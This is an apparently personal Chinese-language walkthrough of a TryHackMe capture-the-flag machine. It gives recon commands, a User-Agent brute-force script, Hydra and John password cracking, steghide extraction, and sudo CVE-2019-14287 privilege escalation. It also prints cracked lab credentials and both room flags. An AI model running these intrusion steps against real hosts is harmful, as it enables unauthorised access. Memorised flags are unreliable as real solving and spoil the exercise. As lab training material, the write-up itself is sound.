URL: https://tryhackme.com/room/agentsudoctf
IP : 10.10.119.64
Recon
- 老梗
nmap -A 10.10.119.64
- 發現有開
- FTP
- SSH
- HTTP
- 發現有開
- 嘗試進入 HTTP
- 看到他說需要在 useragent 放
Codename
(機密代號) - 又說 Dear agent, 下面有說
Agent R
- 所以基本上可以先猜測 Agent
A
到Z
- 看到他說需要在 useragent 放
爆猜機密代號
- 瀏覽器沒有太方便,所以我們先把瀏覽器 request 轉
curl
- 對著 F12 的 Reuest 右鍵,
Copy as cURL
curl 'http://10.10.119.64/' -H 'User-Agent: meow' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0, no-cache' -H 'Pragma: no-cache'
- 對著 F12 的 Reuest 右鍵,
- curl 轉 Python request
- 我使用這個網站 https://curl.trillworks.com/
- 把 curl 貼上就可以自動轉 python 的 request 了
- 接下來寫一段扣爆破
因為如果猜錯他會回傳的字都是一樣的,那就猜測輸入正確時,他回傳的東西會不一樣,所以最簡單的方法可以用字串長度來比對,輸入錯誤時長度是 218 運氣很好,C 就猜到ㄌ
- 我使用這個網站 https://curl.trillworks.com/
import requests
for i in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
headers = {
'User-Agent': i ,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0, no-cache',
'Pragma': 'no-cache',
}
response = requests.get('http://10.10.119.64/', headers=headers).text
print(i,len(response))
- 用
User-Agent:C
發 request- 在 Firefox 上使用右鍵, Edit and Resend
- 修改
User-Agent
為 C 並送出
- 修改
- 可以發現他自動跳轉到這個網頁
- http://10.10.119.64/agent_C_attention.php
- 內文中發現了 Agent C 叫做
chris
- 而且他的主管在嘴他說使用弱密碼
FTP
- 嘗試爆破 FTP
- 因為 nmap 有掃到 ssh 跟 ftp,隨便取 ftp
- 透過 Hydra + Rockyou 字典來爆
hydra -l chris -P /opt/rockyou.txt ftp://10.10.119.64
- 可以了解到帳號為
chris
- 密碼為
crystal
- 嘗試登入 FTP
ftp 10.10.119.64
- 輸入
ls
觀察 ftp 裡面的檔案 - 輸入
get 檔名
把檔案依序載下來
- 觀察 txt 檔案
cat To_agentJ.txt
- 他說兩張照片都是假ㄉ,裡面有藏東東
Stego
- 起手式 strings
strings cutie.png
- 可以發現裡面藏了一點點的字,但是用奇怪的編碼或加密QQ
- 透過 binwalk 觀察是否裡面有藏檔案
- 發現 png 後面塞了一個 zip
- 透過 foremost 解出裡面的檔案
foremost cutie.png
- 會發現資料夾裡面有一包 zip
- 解壓縮 zip
- 用最直覺的
unzip
- 會發現噴錯
- 跟據這篇的講法,可以用 7z 來解
7z x 00000067.zip
- 用 7z 解,會發現 zip 需要密碼
- 用最直覺的
- 爆破 zip 密碼
- 先把 zip 轉成 約翰格式
zip2john 00000067.zip > j.txt
john j.txt --wordlist=/opt/rockyou.txt
- 就可以取得密碼為
alien
- 解壓縮 zip
7z x 00000067.zip
- 並使用密碼
alien
即可解壓完畢 - 解壓內容可以看到一組奇怪的密碼
QXJlYTUx
- 透過 base64 解碼
base64 -d <<< QXJlYTUx
- 即可獲得
Area51
- 接下來看到另外一個檔案
cute-alien.jpg
- 這邊使用
steghide
進行解密 steghide extract -sf cute-alien.jpg
- 並搭配
Area51
- 並搭配
- 發現成功的解出了
message.txt
- 發現成功的解出了
- 我們可以發現文章內
- 使用者 :
james
- 密碼 :
hackerrules!
- 使用者 :
SSH
- 透過 SSH 進行登入
ssh james@10.10.119.64
- 尋找到
user_flag.txt
b03d975e8c92a7c04146cfa7a5a313c7
提權
- 輸入
sudo -l
- 所以我們不能以 root 身分執行
/bin/bash
- 所以我們不能以 root 身分執行
- What is the incident of the photo called?
- 裡面還找到了一張照片
- 透過 Google 以圖搜圖可以找到這篇新聞
Roswell alien autopsy
- 繼續提權
- 透過 scp 上傳 Linpeas
- 本機
scp linpeas.sh james@10.10.119.64:/tmp
- 遠端
bash linpeas.sh | tee meow.txt
- 本機
- 透過 scp 上傳 Linpeas
- 可以觀察到 Linpeas 把 sudo 版本變紅色
- 透過Google
Sudo 1.8.21p2
- 可以找到
CVE-2019-14287
- https://www.exploit-db.com/exploits/47502
- 可以找到
- 遠端機器剛好有 python 跟 vim
- 那就直接開 vim 把 exploit 給貼上
- 透過Google
- 把 python exploit code 給 run 起來
- 詢問使用者名稱,就輸入
james
- 成功提權!
- 詢問使用者名稱,就輸入
- 取得 root flag
b53a02f55b57d4439e3341834d70c062
- (Bonus) Who is Agent R?
- 信最後 有寫
DesKel
aka Agent R - 阿不是阿,你名字裡哪裡有 R ㄌ ?__?
- 信最後 有寫